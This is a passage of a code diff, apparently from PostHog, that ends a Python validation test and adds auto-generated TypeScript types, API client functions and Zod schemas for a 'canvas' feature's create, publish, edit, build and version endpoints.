[d["code"] for d in diagnostics]) + + def test_import_diagnostics_carry_file_and_line(self): + candidate = project(files={CANVAS_COMPONENT_PATH: CODE + 'import _ from "lodash";'}) + entry = next(d for d in validate_source_project(candidate) if d["code"] == "import_not_allowed") + self.assertEqual(entry["path"], CANVAS_COMPONENT_PATH) + self.assertEqual(entry["line"], 3) diff --git a/products/canvas/frontend/generated/api.schemas.ts b/products/canvas/frontend/generated/api.schemas.ts new file mode 100644 index 000000000000..0f27a14afe0a --- /dev/null +++ b/products/canvas/frontend/generated/api.schemas.ts @@ -0,0 +1,658 @@ +/** + * Auto-generated from the Django backend OpenAPI schema. + * To modify these types, update the Django serializers or views, then run: + * hogli build:openapi + * Questions or issues? #team-devex on Slack + * + * PostHog API - generated + * OpenAPI spec version: 1.0.0 + */ +/** + * * `engineering` - Engineering + * * `data` - Data + * * `product` - Product Management + * * `founder` - Founder + * * `leadership` - Leadership + * * `marketing` - Marketing + * * `sales` - Sales / Success + * * `student` - Student + * * `other` - Other + */ +export type RoleAtOrganizationEnumApi = (typeof RoleAtOrganizationEnumApi)[keyof typeof RoleAtOrganizationEnumApi] + +export const RoleAtOrganizationEnumApi = { + Engineering: 'engineering', + Data: 'data', + Product: 'product', + Founder: 'founder', + Leadership: 'leadership', + Marketing: 'marketing', + Sales: 'sales', + Student: 'student', + Other: 'other', +} as const + +export type BlankEnumApi = (typeof BlankEnumApi)[keyof typeof BlankEnumApi] + +export const BlankEnumApi = { + '': '', +} as const + +/** + * @nullable + */ +export type UserBasicApiHedgehogConfig = { [key: string]: unknown } | null + +export interface UserBasicApi { + readonly id: number + readonly uuid: string + /** + * @maxLength 200 + * @nullable + */ + distinct_id?: string | null + /** @maxLength 150 */ + first_name?: string + /** @maxLength 150 */ + last_name?: string + /** @maxLength 254 */ + email: string + /** @nullable */ + is_email_verified?: boolean | null + /** @nullable */ + readonly hedgehog_config: UserBasicApiHedgehogConfig + role_at_organization?: RoleAtOrganizationEnumApi | BlankEnumApi | null +} + +/** + * A canvas document. Version/build content hangs off the source and build endpoints. + */ +export interface CanvasApi { + readonly id: string + readonly name: string + readonly channel: string + readonly template_id: string + readonly context: string + /** @nullable */ + readonly generation_task_id: string | null + /** Whether the canvas is pinned to its channel. */ + readonly pinned: boolean + /** @nullable */ + readonly pinned_at: string | null + readonly is_home: boolean + /** + * Id of the live source version — pass as expected_current_version_id on publish. Null before the first publish. + * @nullable + */ + readonly current_version_id: string | null + /** + * Id of the canvas's live (last successful, still-eligible) build. Null until a build completes. + * @nullable + */ + readonly published_build_id: string | null + readonly created_by: UserBasicApi + readonly created_at: string + readonly updated_at: string +} + +export interface PaginatedCanvasListApi { + count: number + /** @nullable */ + next?: string | null + /** @nullable */ + previous?: string | null + results: CanvasApi[] +} + +/** + * Payload for creating a new, empty canvas in a channel. + */ +export interface CanvasCreateApi { + /** + * Display name for the canvas. + * @maxLength 400 + */ + name: string + /** Id of the channel the canvas belongs to. */ + channel_id: string + /** + * Canvas template identifier. + * @maxLength 64 + */ + template_id?: string + /** Create the canvas as the channel's home board (at most one per channel). */ + is_home?: boolean +} + +/** + * Writable canvas fields: metadata only — source changes go through publish/edit. + */ +export interface PatchedCanvasUpdateApi { + /** + * Updated display name. + * @maxLength 400 + */ + name?: string + /** Updated author context markdown. */ + context?: string + /** Whether the canvas is pinned in its channel. */ + pinned?: boolean + /** + * Task currently generating this canvas, or null to clear it. + * @nullable + */ + generation_task_id?: string | null +} + +/** + * * `queued` - queued + * * `building` - building + * * `ready` - ready + * * `failed` - failed + */ +export type BuildStatusEnumApi = (typeof BuildStatusEnumApi)[keyof typeof BuildStatusEnumApi] + +export const BuildStatusEnumApi = { + Queued: 'queued', + Building: 'building', + Ready: 'ready', + Failed: 'failed', +} as const + +/** + * * `error` - error + * * `warning` - warning + */ +export type DiagnosticSeverityEnumApi = (typeof DiagnosticSeverityEnumApi)[keyof typeof DiagnosticSeverityEnumApi] + +export const DiagnosticSeverityEnumApi = { + Error: 'error', + Warning: 'warning', +} as const + +/** + * One structured validation/build diagnostic for a canvas source project. + */ +export interface CanvasDiagnosticApi { + /** 'error' blocks publishing; 'warning' is advisory and does not block. + * + * * `error` - error + * * `warning` - warning */ + severity: DiagnosticSeverityEnumApi + /** Stable machine-readable diagnostic code, e.g. 'import_not_allowed' or 'capability_missing_insight'. */ + code: string + /** Human-readable description of the problem and how to fix it. */ + message: string + /** Project-relative path of the file the diagnostic points at, when file-specific. */ + path?: string + /** 1-based line number within `path`, when the diagnostic points at a specific line. */ + line?: number +} + +/** + * One emitted file of a built canvas artifact. + */ +export interface CanvasArtifactAssetApi { + /** Artifact-relative path of the emitted file. */ + path: string + /** Hex SHA-256 of the file content. */ + contentHash: string + /** Size of the file in bytes. */ + sizeBytes: number +} + +/** + * Exact dependency versions the artifact was built against. + */ +export type CanvasArtifactManifestApiDependencies = { [key: string]: string } + +/** + * Declared PostHog/network capabilities the artifact is held to at runtime. + */ +export type CanvasArtifactManifestApiCapabilities = { [key: string]: unknown } + +/** + * The manifest frozen into a ready build: entry, assets, versions, capabilities. + */ +export interface CanvasArtifactManifestApi { + /** The artifact's entry HTML file. */ + entryHtml: string + /** Every emitted artifact file with its content hash. */ + assets: CanvasArtifactAssetApi[] + /** Exact dependency versions the artifact was built against. */ + dependencies: CanvasArtifactManifestApiDependencies + /** Version of the `ph` canvas SDK the artifact targets. */ + canvasSdkVersion: string + /** + * Path of the runtime-mounted React component, for legacy-tier artifacts. + * @nullable + */ + legacyComponentPath?: string | null + /** + * The runtime-mounted component source, for legacy-tier artifacts. + * @nullable + */ + legacyCode?: string | null + /** Declared PostHog/network capabilities the artifact is held to at runtime. */ + capabilities: CanvasArtifactManifestApiCapabilities +} + +/** + * Lifecycle record of one build of a canvas source version. + */ +export interface CanvasBuildApi { + /** The build's id. */ + id: string + /** The source version this build compiled. */ + source_version_id: string + /** Build lifecycle state. A failed build never replaces the last-known-good artifact. + * + * * `queued` - queued + * * `building` - building + * * `ready` - ready + * * `failed` - failed */ + build_status: BuildStatusEnumApi + /** Structured diagnostics recorded by the build (errors explain a failed status). */ + diagnostics: CanvasDiagnosticApi[] + /** The frozen artifact manifest — present once the build is ready. */ + manifest?: CanvasArtifactManifestApi | null + /** + * Hex SHA-256 over the manifest — the artifact's integrity anchor. Null until ready. + * @nullable + */ + integrity: string | null + /** + * Signed URL for the ready build's entry HTML. Null until ready or when artifact delivery is unavailable. + * @nullable + */ + readonly artifact_url: string | null + /** Pinned builds are retained for the lifetime of the canvas. */ + pinned: boolean + /** When the build was queued. */ + created_at: string + /** + * When the build reached a terminal state. + * @nullable + */ + finished_at: string | null +} + +/** + * A canvas's build lifecycle: live pointers plus its most recent builds. + */ +export interface CanvasBuildsResponseApi { + /** + * Id of the canvas's live build (the last successful, still-eligible one). Null until a build completes. + * @nullable + */ + published_build_id: string | null + /** + * Id of the source version the canvas's head points at. + * @nullable + */ + current_version_id: string | null + /** Most recent builds, newest first (capped at 20; the live build is always included). */ + builds: CanvasBuildApi[] +} + +/** + * * `retry` - retry + * * `pin` - pin + * * `unpin` - unpin + * * `cancel` - cancel + */ +export type CanvasBuildActionActionEnumApi = + (typeof CanvasBuildActionActionEnumApi)[keyof typeof CanvasBuildActionActionEnumApi] + +export const CanvasBuildActionActionEnumApi = { + Retry: 'retry', + Pin: 'pin', + Unpin: 'unpin', + Cancel: 'cancel', +} as const + +export interface CanvasBuildActionApi { + action: CanvasBuildActionActionEnumApi + build_id: string +} + +/** + * One per-file edit: set a file's content, or delete it. + */ +export interface CanvasSourceEditOperationApi { + /** Project-relative path of the file to write or delete (e.g. "src/canvas.tsx"). */ + path: string + /** + * The file's complete new content. Null (or omitted) deletes the file. + * @nullable + */ + content?: string | null +} + +/** + * Payload for publishing per-file edits against the canvas's current source. + */ +export interface CanvasSourceEditApi { + /** Edits applied in order to the canvas's current source project. */ + operations: CanvasSourceEditOperationApi[] + /** Short description of the change, stored on the appended version history entry. */ + prompt?: string + /** + * Optional new display name for the canvas. + * @maxLength 400 + */ + name?: string + /** + * Required optimistic-concurrency guard: the current_version_id the edits are based on (null when the canvas has never been published). Diff edits against a moved head are rejected with 409 version_conflict — they cannot be published unguarded. + * @nullable + */ + expected_current_version_id: string | null +} + +/** + * Identity and version pointers for one canvas. + */ +export interface CanvasSummaryApi { + /** The canvas's id. */ + id: string + /** Display name of the canvas. */ + name: string + /** Id of the channel the canvas belongs to. */ + channel_id: string + /** + * Id of the live source version — pass as expected_current_version_id on publish. Null before the first publish. + * @nullable + */ + current_version_id: string | null + /** + * Id of the canvas's live (last successful, still-eligible) build. Null until a build completes. + * @nullable + */ + published_build_id: string | null + /** When the canvas was created. */ + created_at: string +} + +/** + * Result of a successful source-project publish. + */ +export interface CanvasSourcePublishResponseApi { + /** The canvas after the publish, including the new version pointer. */ + canvas: CanvasSummaryApi + /** Id of the source version this publish created. */ + current_version_id: string + /** Advisory (warning-severity) diagnostics recorded for the published project. */ + diagnostics: CanvasDiagnosticApi[] +} + +/** + * 400 body for a publish whose source project failed validation. + */ +export interface CanvasSourceInvalidApi { + /** Human-readable summary of why the project was rejected. */ + detail: string + /** Always "invalid_source_project". */ + code: string + /** The validation diagnostics, including at least one error. */ + diagnostics: CanvasDiagnosticApi[] +} + +/** + * 409 body for a guarded canvas publish based on a stale version. + */ +export interface CanvasPublishConflictApi { + /** Human-readable description of the conflict and how to recover. */ + detail: string + /** Always "version_conflict". */ + code: string + /** + * The canvas's live current_version_id at rejection time (null when the canvas has no versions). + * @nullable + */ + current_version_id: string | null +} + +/** + * * `base64` - base64 + */ +export type EncodingEnumApi = (typeof EncodingEnumApi)[keyof typeof EncodingEnumApi] + +export const EncodingEnumApi = { + Base64: 'base64', +} as const + +/** + * * `image/png` - image/png + * * `image/jpeg` - image/jpeg + * * `image/gif` - image/gif + * * `image/webp` - image/webp + * * `image/svg+xml` - image/svg+xml + * * `font/woff` - font/woff + * * `font/woff2` - font/woff2 + * * `application/wasm` - application/wasm + * * `application/octet-stream` - application/octet-stream + */ +export type ContentTypeEnumApi = (typeof ContentTypeEnumApi)[keyof typeof ContentTypeEnumApi] + +export const ContentTypeEnumApi = { + ImagePng: 'image/png', + ImageJpeg: 'image/jpeg', + ImageGif: 'image/gif', + ImageWebp: 'image/webp', + ImageSvgXml: 'image/svg+xml', + FontWoff: 'font/woff', + FontWoff2: 'font/woff2', + ApplicationWasm: 'application/wasm', + ApplicationOctetStream: 'application/octet-stream', +} as const + +export interface CanvasSourceAssetApi { + encoding: EncodingEnumApi + contentType: ContentTypeEnumApi + /** + * @maxLength 2796204 + * @pattern ^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$ + */ + content: string +} + +export interface CanvasPostHogCapabilitiesApi { + /** + * @maxItems 100 + * @items.maxLength 128 + */ + insights: string[] + inlineQueries: boolean + /** + * @maxItems 100 + * @items.maxLength 200 + */ + captureEvents: string[] +} + +export interface CanvasNetworkCapabilitiesApi { + /** + * @maxItems 20 + * @items.maxLength 2048 + */ + origins: string[] +} + +export interface CanvasCapabilitiesApi { + posthog: CanvasPostHogCapabilitiesApi + network: CanvasNetworkCapabilitiesApi +} + +/** + * Project files keyed by relative path (forward slashes, no '..'). + */ +export type CanvasSourceProjectApiFiles = { [key: string]: string } + +/** + * Optional base64-encoded binary assets keyed by safe project-relative paths. + */ +export type CanvasSourceProjectApiAssets = { [key: string]: CanvasSourceAssetApi } + +/** + * Exact-version dependencies, restricted to the platform-supported set (react, react-dom, @posthog/quill, recharts, lucide-react, dayjs) at their pinned versions. + */ +export type CanvasSourceProjectApiDependencies = { [key: string]: string } + +/** + * A canvas's multi-file source project — the canonical write format for canvas source. + */ +export interface CanvasSourceProjectApi { + /** Source-project schema version. Currently always 1. */ + schemaVersion: number + /** Project files keyed by relative path (forward slashes, no '..'). */ + files: CanvasSourceProjectApiFiles + /** Optional base64-encoded binary assets keyed by safe project-relative paths. */ + assets?: CanvasSourceProjectApiAssets + /** The project's entry HTML file. Currently always "index.html". */ + entryHtml: string + /** Exact-version dependencies, restricted to the platform-supported set (react, react-dom, @posthog/quill, recharts, lucide-react, dayjs) at their pinned versions. */ + dependencies?: CanvasSourceProjectApiDependencies + /** Version of the host-injected `ph` canvas SDK the project targets. */ + canvasSdkVersion?: string + /** Bounded capabilities frozen into the built artifact. Declare every insight short id the canvas loads, every event it captures, and inlineQueries when it runs ad-hoc HogQL — the host enforces these at runtime and validation rejects undeclared `ph` calls. */ + capabilities?: CanvasCapabilitiesApi +} + +/** + * Payload for publishing a complete canvas source project. + */ +export interface CanvasSourcePublishApi { + /** The complete source project to publish. */ + project: CanvasSourceProjectApi + /** Short description of the change, stored on the appended version history entry. */ + prompt?: string + /** + * Optional new display name for the canvas. + * @maxLength 400 + */ + name?: string + /** + * Optimistic-concurrency guard: the current_version_id the publisher based its edits on (null when it read a canvas with no versions yet). When the canvas has since moved past it the publish is rejected with a 409 version_conflict instead of overwriting the newer head. Omit to publish unguarded. + * @nullable + */ + expected_current_version_id?: string | null +} + +/** + * Payload for reverting the canvas's head to an existing source version. + */ +export interface CanvasRevertApi { + /** Id of the source version to make the head again. */ + version_id: string + /** + * Current source version observed before requesting the revert. + * @nullable + */ + expected_current_version_id: string | null +} + +/** + * A canvas's source project plus the version pointer edits must be based on. + */ +export interface CanvasSourceResponseApi { + /** Identity and version pointers for the canvas. */ + canvas: CanvasSummaryApi + /** The canvas's source project. Pre-relational single-file canvases are presented as a synthetic project. */ + project: CanvasSourceProjectApi + /** + * The live source version this project reflects — pass as expected_current_version_id when publishing an edit. Null before the first publish. + * @nullable + */ + current_version_id: string | null +} + +/** + * Payload for validating a candidate source project without publishing it. + */ +export interface CanvasValidateRequestApi { + /** The candidate source project to validate. */ + project: CanvasSourceProjectApi +} + +/** + * Validation outcome for a candidate source project. + */ +export interface CanvasValidateResponseApi { + /** True when the project has no error-severity diagnostics. */ + valid: boolean + /** Structured diagnostics; errors block publishing, warnings are advisory. */ + diagnostics: CanvasDiagnosticApi[] +} + +/** + * One entry of a canvas's source-version history (metadata only — + * fetch a version's files via `source?version_id=`). + */ +export interface CanvasVersionApi { + /** The version's id. */ + id: string + /** + * The version this one was based on (null for the first publish). + * @nullable + */ + parent_version_id: string | null + /** + * Short description recorded with the publish. + * @nullable + */ + prompt: string | null + /** + * Task that published the version, when one did. + * @nullable + */ + task_id: string | null + readonly created_by: UserBasicApi | null + /** When the version was published. */ + created_at: string +} + +export interface PaginatedCanvasVersionListApi { + count: number + /** @nullable */ + next?: string | null + /** @nullable */ + previous?: string | null + results: CanvasVersionApi[] +} + +export type CanvasesListParams = { + /** + * Only return canvases in this channel. + */ + channel?: string + /** + * Filter by channel-home status. + */ + is_home?: boolean + /** + * Number of results to return per page. + */ + limit?: number + /** + * The initial index from which to return the results. + */ + offset?: number +} + +export type CanvasesSourceRetrieveParams = { + /** + * Read this historical source version instead of the head (for version browsing). + */ + version_id?: string +} + +export type CanvasesVersionsRetrieveParams = { + /** + * Number of results to return per page. + */ + limit?: number + /** + * The initial index from which to return the results. + */ + offset?: number +} diff --git a/products/canvas/frontend/generated/api.ts b/products/canvas/frontend/generated/api.ts new file mode 100644 index 000000000000..07da42d4073b --- /dev/null +++ b/products/canvas/frontend/generated/api.ts @@ -0,0 +1,346 @@ +import { apiMutator } from '../../../../frontend/src/lib/api-orval-mutator' +/** + * Auto-generated from the Django backend OpenAPI schema. + * To modify these types, update the Django serializers or views, then run: + * hogli build:openapi + * Questions or issues? #team-devex on Slack + * + * PostHog API - generated + * OpenAPI spec version: 1.0.0 + */ +import type { + CanvasApi, + CanvasBuildActionApi, + CanvasBuildApi, + CanvasBuildsResponseApi, + CanvasCreateApi, + CanvasRevertApi, + CanvasSourceEditApi, + CanvasSourcePublishApi, + CanvasSourcePublishResponseApi, + CanvasSourceResponseApi, + CanvasValidateRequestApi, + CanvasValidateResponseApi, + CanvasesListParams, + CanvasesSourceRetrieveParams, + CanvasesVersionsRetrieveParams, + PaginatedCanvasListApi, + PaginatedCanvasVersionListApi, + PatchedCanvasUpdateApi, +} from './api.schemas' + +export const getCanvasesListUrl = (projectId: string, params?: CanvasesListParams) => { + const normalizedParams = new URLSearchParams() + + Object.entries(params || {}).forEach(([key, value]) => { + if (value !== undefined) { + normalizedParams.append(key, value === null ? 'null' : String(value)) + } + }) + + const stringifiedParams = normalizedParams.toString() + + return stringifiedParams.length > 0 + ? `/api/projects/${projectId}/canvases/?${stringifiedParams}` + : `/api/projects/${projectId}/canvases/` +} + +/** + * Canvases: agent-built sandboxed browser apps, filed into channels. + * + * Source is versioned per publish and built server-side; the canvas app + * renders the published build's artifact from the isolated artifact origin. + */ +export const canvasesList = async ( + projectId: string, + params?: CanvasesListParams, + options?: RequestInit +): Promise => { + return apiMutator(getCanvasesListUrl(projectId, params), { + ...options, + method: 'GET', + }) +} + +export const getCanvasesCreateUrl = (projectId: string) => { + return `/api/projects/${projectId}/canvases/` +} + +/** + * Create a new, empty canvas in a channel; give it source by publishing a project. + */ +export const canvasesCreate = async ( + projectId: string, + canvasCreateApi: CanvasCreateApi, + options?: RequestInit +): Promise => { + return apiMutator(getCanvasesCreateUrl(projectId), { + ...options, + method: 'POST', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(canvasCreateApi), + }) +} + +export const getCanvasesRetrieveUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/canvases/${id}/` +} + +/** + * Canvases: agent-built sandboxed browser apps, filed into channels. + * + * Source is versioned per publish and built server-side; the canvas app + * renders the published build's artifact from the isolated artifact origin. + */ +export const canvasesRetrieve = async (projectId: string, id: string, options?: RequestInit): Promise => { + return apiMutator(getCanvasesRetrieveUrl(projectId, id), { + ...options, + method: 'GET', + }) +} + +export const getCanvasesPartialUpdateUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/canvases/${id}/` +} + +/** + * Update canvas metadata (name, author context, pin, generation-task pointer). + */ +export const canvasesPartialUpdate = async ( + projectId: string, + id: string, + patchedCanvasUpdateApi?: PatchedCanvasUpdateApi, + options?: RequestInit +): Promise => { + return apiMutator(getCanvasesPartialUpdateUrl(projectId, id), { + ...options, + method: 'PATCH', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(patchedCanvasUpdateApi), + }) +} + +export const getCanvasesDestroyUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/canvases/${id}/` +} + +/** + * Canvases: agent-built sandboxed browser apps, filed into channels. + * + * Source is versioned per publish and built server-side; the canvas app + * renders the published build's artifact from the isolated artifact origin. + */ +export const canvasesDestroy = async (projectId: string, id: string, options?: RequestInit): Promise => { + return apiMutator(getCanvasesDestroyUrl(projectId, id), { + ...options, + method: 'DELETE', + }) +} + +export const getCanvasesBuildsRetrieveUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/canvases/${id}/builds/` +} + +/** + * Read the canvas's build lifecycle: live pointers plus recent builds. + * + * A publish queues a build; poll this until it is ready (the live pointer + * advances) or failed (fix the error diagnostics and publish again — the + * last good build stays live). + */ +export const canvasesBuildsRetrieve = async ( + projectId: string, + id: string, + options?: RequestInit +): Promise => { + return apiMutator(getCanvasesBuildsRetrieveUrl(projectId, id), { + ...options, + method: 'GET', + }) +} + +export const getCanvasesBuildActionCreateUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/canvases/${id}/builds/action/` +} + +/** + * Apply a lifecycle action (retry, pin, unpin, cancel) to one build. + */ +export const canvasesBuildActionCreate = async ( + projectId: string, + id: string, + canvasBuildActionApi: CanvasBuildActionApi, + options?: RequestInit +): Promise => { + return apiMutator(getCanvasesBuildActionCreateUrl(projectId, id), { + ...options, + method: 'POST', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(canvasBuildActionApi), + }) +} + +export const getCanvasesEditCreateUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/canvases/${id}/edit/` +} + +/** + * Publish per-file edits against the canvas's current source project. + * + * Diff-aware alternative to sending the complete project: each operation + * sets a file's content or (content null) deletes it, applied to the head + * the caller read. `expected_current_version_id` is mandatory here — + * relative edits against an unverified base could silently merge into + * someone else's newer work. + */ +export const canvasesEditCreate = async ( + projectId: string, + id: string, + canvasSourceEditApi: CanvasSourceEditApi, + options?: RequestInit +): Promise => { + return apiMutator(getCanvasesEditCreateUrl(projectId, id), { + ...options, + method: 'POST', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(canvasSourceEditApi), + }) +} + +export const getCanvasesPublishCreateUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/canvases/${id}/publish/` +} + +/** + * Publish a complete source project as the canvas's new head version. + * + * Validation errors reject the publish (400) and leave the canvas + * untouched; a stale `expected_current_version_id` is rejected with 409. + * A successful publish queues a server-side build. + */ +export const canvasesPublishCreate = async ( + projectId: string, + id: string, + canvasSourcePublishApi: CanvasSourcePublishApi, + options?: RequestInit +): Promise => { + return apiMutator(getCanvasesPublishCreateUrl(projectId, id), { + ...options, + method: 'POST', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(canvasSourcePublishApi), + }) +} + +export const getCanvasesRevertCreateUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/canvases/${id}/revert/` +} + +/** + * Move the canvas's head back to an existing source version and rebuild it. + */ +export const canvasesRevertCreate = async ( + projectId: string, + id: string, + canvasRevertApi: CanvasRevertApi, + options?: RequestInit +): Promise => { + return apiMutator(getCanvasesRevertCreateUrl(projectId, id), { + ...options, + method: 'POST', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(canvasRevertApi), + }) +} + +export const getCanvasesSourceRetrieveUrl = (projectId: string, id: string, params?: CanvasesSourceRetrieveParams) => { + const normalizedParams = new URLSearchParams() + + Object.entries(params || {}).forEach(([key, value]) => { + if (value !== undefined) { + normalizedParams.append(key, value === null ? 'null' : String(value)) + } + }) + + const stringifiedParams = normalizedParams.toString() + + return stringifiedParams.length > 0 + ? `/api/projects/${projectId}/canvases/${id}/source/?${stringifiedParams}` + : `/api/projects/${projectId}/canvases/${id}/source/` +} + +/** + * Read the canvas's source project and its `current_version_id`. + * + * Always call this before editing: edit the returned files, then publish + * the complete project passing the returned version id as + * `expected_current_version_id` so concurrent edits are not overwritten. + * `?version_id=` reads a historical version instead of the head. + */ +export const canvasesSourceRetrieve = async ( + projectId: string, + id: string, + params?: CanvasesSourceRetrieveParams, + options?: RequestInit +): Promise => { + return apiMutator(getCanvasesSourceRetrieveUrl(projectId, id, params), { + ...options, + method: 'GET', + }) +} + +export const getCanvasesValidateCreateUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/canvases/${id}/validate/` +} + +/** + * Validate a candidate source project without publishing it. Side-effect free. + */ +export const canvasesValidateCreate = async ( + projectId: string, + id: string, + canvasValidateRequestApi: CanvasValidateRequestApi, + options?: RequestInit +): Promise => { + return apiMutator(getCanvasesValidateCreateUrl(projectId, id), { + ...options, + method: 'POST', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(canvasValidateRequestApi), + }) +} + +export const getCanvasesVersionsRetrieveUrl = ( + projectId: string, + id: string, + params?: CanvasesVersionsRetrieveParams +) => { + const normalizedParams = new URLSearchParams() + + Object.entries(params || {}).forEach(([key, value]) => { + if (value !== undefined) { + normalizedParams.append(key, value === null ? 'null' : String(value)) + } + }) + + const stringifiedParams = normalizedParams.toString() + + return stringifiedParams.length > 0 + ? `/api/projects/${projectId}/canvases/${id}/versions/?${stringifiedParams}` + : `/api/projects/${projectId}/canvases/${id}/versions/` +} + +/** + * The canvas's source-version history, newest first (metadata only). + */ +export const canvasesVersionsRetrieve = async ( + projectId: string, + id: string, + params?: CanvasesVersionsRetrieveParams, + options?: RequestInit +): Promise => { + return apiMutator(getCanvasesVersionsRetrieveUrl(projectId, id, params), { + ...options, + method: 'GET', + }) +} diff --git a/products/canvas/frontend/generated/api.zod.ts b/products/canvas/frontend/generated/api.zod.ts new file mode 100644 index 000000000000..220c83277d97 --- /dev/null +++ b/products/canvas/frontend/generated/api.zod.ts @@ -0,0 +1,361 @@ +/** + * Auto-generated Zod validation schemas from the Django backend OpenAPI schema. + * To modify these schemas, update the Django serializers or views, then run: + * hogli build:openapi + * Questions or issues? #team-devex on Slack + * + * PostHog API - generated + * OpenAPI spec version: 1.0.0 + */ +import * as zod from 'zod' + +/** + * Create a new, empty canvas in a channel; give it source by publishing a project. + */ +export const canvasesCreateBodyNameMax = 400 + +export const canvasesCreateBodyTemplateIdDefault = `freeform` +export const canvasesCreateBodyTemplateIdMax = 64 + +export const canvasesCreateBodyIsHomeDefault = false + +export const CanvasesCreateBody = /* @__PURE__ */ zod + .object({ + name: zod.string().max(canvasesCreateBodyNameMax).describe('Display name for the canvas.'), + channel_id: zod.uuid().describe('Id of the channel the canvas belongs to.'), + template_id: zod + .string() + .max(canvasesCreateBodyTemplateIdMax) + .default(canvasesCreateBodyTemplateIdDefault) + .describe('Canvas template identifier.'), + is_home: zod + .boolean() + .default(canvasesCreateBodyIsHomeDefault) + .describe("Create the canvas as the channel's home board (at most one per channel)."), + }) + .describe('Payload for creating a new, empty canvas in a channel.') + +/** + * Update canvas metadata (name, author context, pin, generation-task pointer). + */ +export const canvasesPartialUpdateBodyNameMax = 400 + +export const CanvasesPartialUpdateBody = /* @__PURE__ */ zod + .object({ + name: zod.string().max(canvasesPartialUpdateBodyNameMax).optional().describe('Updated display name.'), + context: zod.string().optional().describe('Updated author context markdown.'), + pinned: zod.boolean().optional().describe('Whether the canvas is pinned in its channel.'), + generation_task_id: zod + .uuid() + .nullish() + .describe('Task currently generating this canvas, or null to clear it.'), + }) + .describe('Writable canvas fields: metadata only — source changes go through publish\/edit.') + +/** + * Apply a lifecycle action (retry, pin, unpin, cancel) to one build. + */ +export const CanvasesBuildActionCreateBody = /* @__PURE__ */ zod.object({ + action: zod + .enum(['retry', 'pin', 'unpin', 'cancel']) + .describe('\* `retry` - retry\n\* `pin` - pin\n\* `unpin` - unpin\n\* `cancel` - cancel'), + build_id: zod.uuid(), +}) + +/** + * Publish per-file edits against the canvas's current source project. + * + * Diff-aware alternative to sending the complete project: each operation + * sets a file's content or (content null) deletes it, applied to the head + * the caller read. `expected_current_version_id` is mandatory here — + * relative edits against an unverified base could silently merge into + * someone else's newer work. + */ +export const canvasesEditCreateBodyNameMax = 400 + +export const CanvasesEditCreateBody = /* @__PURE__ */ zod + .object({ + operations: zod + .array( + zod + .object({ + path: zod + .string() + .describe( + 'Project-relative path of the file to write or delete (e.g. \"src\/canvas.tsx\").' + ), + content: zod + .string() + .nullish() + .describe("The file's complete new content. Null (or omitted) deletes the file."), + }) + .describe("One per-file edit: set a file's content, or delete it.") + ) + .describe("Edits applied in order to the canvas's current source project."), + prompt: zod + .string() + .optional() + .describe('Short description of the change, stored on the appended version history entry.'), + name: zod + .string() + .max(canvasesEditCreateBodyNameMax) + .optional() + .describe('Optional new display name for the canvas.'), + expected_current_version_id: zod + .string() + .nullable() + .describe( + 'Required optimistic-concurrency guard: the current_version_id the edits are based on (null when the canvas has never been published). Diff edits against a moved head are rejected with 409 version_conflict — they cannot be published unguarded.' + ), + }) + .describe("Payload for publishing per-file edits against the canvas's current source.") + +/** + * Publish a complete source project as the canvas's new head version. + * + * Validation errors reject the publish (400) and leave the canvas + * untouched; a stale `expected_current_version_id` is rejected with 409. + * A successful publish queues a server-side build. + */ +export const canvasesPublishCreateBodyProjectOneAssetsContentMax = 2796204 + +export const canvasesPublishCreateBodyProjectOneAssetsContentRegExp = new RegExp( + '^(?:[A-Za-z0-9+\/]{4})\*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=)?$' +) +export const canvasesPublishCreateBodyProjectOneCapabilitiesOnePosthogInsightsItemMax = 128 + +export const canvasesPublishCreateBodyProjectOneCapabilitiesOnePosthogInsightsMax = 100 + +export const canvasesPublishCreateBodyProjectOneCapabilitiesOnePosthogCaptureEventsItemMax = 200 + +export const canvasesPublishCreateBodyProjectOneCapabilitiesOnePosthogCaptureEventsMax = 100 + +export const canvasesPublishCreateBodyProjectOneCapabilitiesOneNetworkOriginsItemMax = 2048 + +export const canvasesPublishCreateBodyProjectOneCapabilitiesOneNetworkOriginsMax = 20 + +export const canvasesPublishCreateBodyNameMax = 400 + +export const CanvasesPublishCreateBody = /* @__PURE__ */ zod + .object({ + project: zod + .object({ + schemaVersion: zod.number().describe('Source-project schema version. Currently always 1.'), + files: zod + .record(zod.string(), zod.string()) + .describe("Project files keyed by relative path (forward slashes, no '..')."), + assets: zod + .record( + zod.string(), + zod.object({ + encoding: zod.enum(['base64']).describe('\* `base64` - base64'), + contentType: zod + .enum([ + 'image/png', + 'image/jpeg', + 'image/gif', + 'image/webp', + 'image/svg+xml', + 'font/woff', + 'font/woff2', + 'application/wasm', + 'application/octet-stream', + ]) + .describe( + '\* `image\/png` - image\/png\n\* `image\/jpeg` - image\/jpeg\n\* `image\/gif` - image\/gif\n\* `image\/webp` - image\/webp\n\* `image\/svg+xml` - image\/svg+xml\n\* `font\/woff` - font\/woff\n\* `font\/woff2` - font\/woff2\n\* `application\/wasm` - application\/wasm\n\* `application\/octet-stream` - application\/octet-stream' + ), + content: zod + .string() + .max(canvasesPublishCreateBodyProjectOneAssetsContentMax) + .regex(canvasesPublishCreateBodyProjectOneAssetsContentRegExp), + }) + ) + .optional() + .describe('Optional base64-encoded binary assets keyed by safe project-relative paths.'), + entryHtml: zod.string().describe('The project\'s entry HTML file. Currently always \"index.html\".'), + dependencies: zod + .record(zod.string(), zod.string()) + .optional() + .describe( + 